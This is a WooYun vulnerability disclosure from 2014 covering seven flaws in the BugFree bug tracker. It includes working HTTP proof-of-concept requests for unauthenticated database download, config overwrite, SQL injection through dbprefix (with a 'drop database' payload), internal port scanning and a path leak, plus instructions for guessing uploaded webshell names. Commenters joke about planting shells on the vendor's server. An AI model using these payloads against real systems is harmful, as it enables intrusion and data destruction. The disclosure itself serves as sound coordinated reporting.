当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074519

漏洞标题:bugfree 文件包含等漏洞打包

相关厂商:bugfree.org.cn

漏洞作者: papaver

提交时间:2014-08-31 13:17

修复时间:2014-11-29 13:18

公开时间:2014-11-29 13:18

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-31: 细节已通知厂商并且等待厂商处理中
2014-09-05: 厂商已经确认,细节仅向厂商公开
2014-09-08: 细节向第三方安全合作伙伴开放
2014-10-30: 细节向核心白帽子及相关领域专家公开
2014-11-09: 细节向普通白帽子公开
2014-11-19: 细节向实习白帽子公开
2014-11-29: 细节向公众公开

简要描述:

bugfree 是国内一款比较不错的开源的bug管理产品,
日前偶然遇到一处使用bugfree的地方,于是就花了些时间挖了挖,发现一些问题,懒得开那么多页面了,就打包一起发吧

详细说明:

1,上传,自评级别:严重。
之前园长其实说过这个问题,但是只是说可以上传。没有说到其实文件名具有很强的可预测性,
园长漏洞参见这里: WooYun: BugFree任意文件上传漏洞
上传的文件,生成的路径会有几个部分,一个是项目id,一个是月份,一个就是当前的时间。
比如我在bugid是344 的 条目里上传的php文件,访问的物理路径会是这样:
/BugFile/Project344/201408/210732180.php
而文件名则很容易理解,是21点07分32秒,后三位180,其实是随机的,从100到200,递增10,写个程序猜几次就猜到了。
所以,这里如果没有对BugFile目录做文件执行设置,那恭喜你,直接就拿shell了。

QQ20140831-1.jpg


2,垂直权限 越权,自评:低
访问 bugfree/adminAction/,可以看到 管理员的若干操作,

QQ20140831-2.jpg


3,数据库下载 自评:严重
漏洞文件:/install/index.php
这个就厉害了,/bugfree/install/index.php文件,当action是backup并且download变量为真的时候就会去备份config配置文件指定的库。然后返回给你。看到这里你可能觉得只能下载bugfree的库啊,别急,后面还有,修改config文件。
poc:
GET /bugfree/install/index.php?action=backup&download=123 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://172.16.0.134/bugfree/install/
Host: 172.16.0.134
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

down.png


db_down.png


虽然location 指定到了index,但是返回的内容就是数据库的内容。于是,目标库就被下载回来了。
4, 修改config文件 自评:高
漏洞文件:/install/index.php
POC:
POST /bugfree/install/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://172.16.0.134/bugfree/install/
Content-Length: 139
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=4jn42unqk7rkqep1vraemarlf3
Host: 172.16.0.134
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
accept=on&action=install&dbhost=172.16.0.128&dbname=mysql&dbprefix=bf_'&dbpwd=123123&dbuser=root&language=zh_cn&port=3306&accept=123

QQ20140831-4.jpg

漏洞证明:

5,内网数据库的暴力破解及端口扫描 自评:中
漏洞文件:/install/index.php
安装过程中会对指定的地址及端口进行连接,执行建表的操作,这里我们可以修改为内网其他的地址与端口,以实现对内网数据库的攻击。还可以实现对内网的端口扫描。
可以连接的端口与不可以连接的端口返回不同的相应:
poc:

1.png


2.png


3307端口是成功的连接相应。说明3307是开放的。
连接的过程也可以看到服务器实际发起来对外的数据连接:

3.png


6,sql注入 自评:严重
漏洞文件:/install/index.php
还是安装过程,进行数据库的相关操作时,没有对dbprefix进行检查过滤,导致这里存在sql注入
POC:
POST /bugfree/install/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://172.16.0.134/bugfree/install/
Content-Length: 146
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=4jn42unqk7rkqep1vraemarlf3
Host: 172.16.0.134
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
accept=on&action=install&dbhost=localhost&dbname=mysql&dbprefix=tt`;drop database bbbb;#bf_&dbpwd=&dbuser=root&language=zh_cn&port=3306&accept=123

db1.png


db2.png


其他的,自己发挥吧。
7,物理路径泄漏 自评:低
漏洞出现在文本编辑框处,编辑图片,选择浏览,

QQ20140831-5.jpg


会发出如下的请求,而这个请求时错误的,代码实现的时候就时错的,

QQ20140831-6.jpg


看完代码后,将地址修改如下,就可以成功了,但是,成功的时候,会返回当前web站点的物理路径。
POC:
GET /bugfree/assets/5839844b/php/file_manager_json.php?path=&order=NAME&dir=image&1407305895844 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 06 Aug 2014 06:18:35 GMT
Server: Apache
Content-Length: 207
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
/lampp/bugfree/htdocs/bugfree/assets/5839844b/attached/image{"moveup_dir_path":"","current_dir_path":"","current_url":"\/bugfree\/assets\/5839844b\/php\/..\/attached\/image\/","total_count":0,"file_list":[]}
ok了,累死了,

修复方案:

版权声明:转载请注明来源 papaver@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-05 08:26

厂商回复:

CNVD确认所述情况(未进行本地和实例复现),由于未建立与软件生产厂商的直接处置渠道,待认领。按多个漏洞评分,ran k20

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-05 09:20 | papaver ( 普通白帽子 | Rank:197 漏洞数:35 | 95后,高一学生一枚... 萌萌哒..)

    哈哈,原来那群搞bugfree的人散伙了,搞了个蝉道

  2. 2014-09-05 09:58 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    @papaver 没错,我前段时间还上他们demo服务器玩了一会

  3. 2014-09-05 10:00 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    @papaver 还没来得及提交,他们就发现我了,明明藏得深,奈何道高一次

  4. 2014-09-05 20:40 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    @茜茜公主 我会说他们叫我做安全顾问。发现了你留的shell叫他们给删了吗。

  5. 2014-09-16 17:17 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    @roker 嗯,我藏到蝉知的某个目录里去了,然后不知道什么时候就默默升级了

  6. 2014-09-25 13:36 | Chora ( 普通白帽子 | Rank:337 漏洞数:22 | 生存、生活、生命。)

    渗透一网站发现有bugfree于是乎下回来分析,确认有很多漏洞过后开始搞,结果发现不存在,乌云之,原来你已经发过,他修补了,蛋疼了。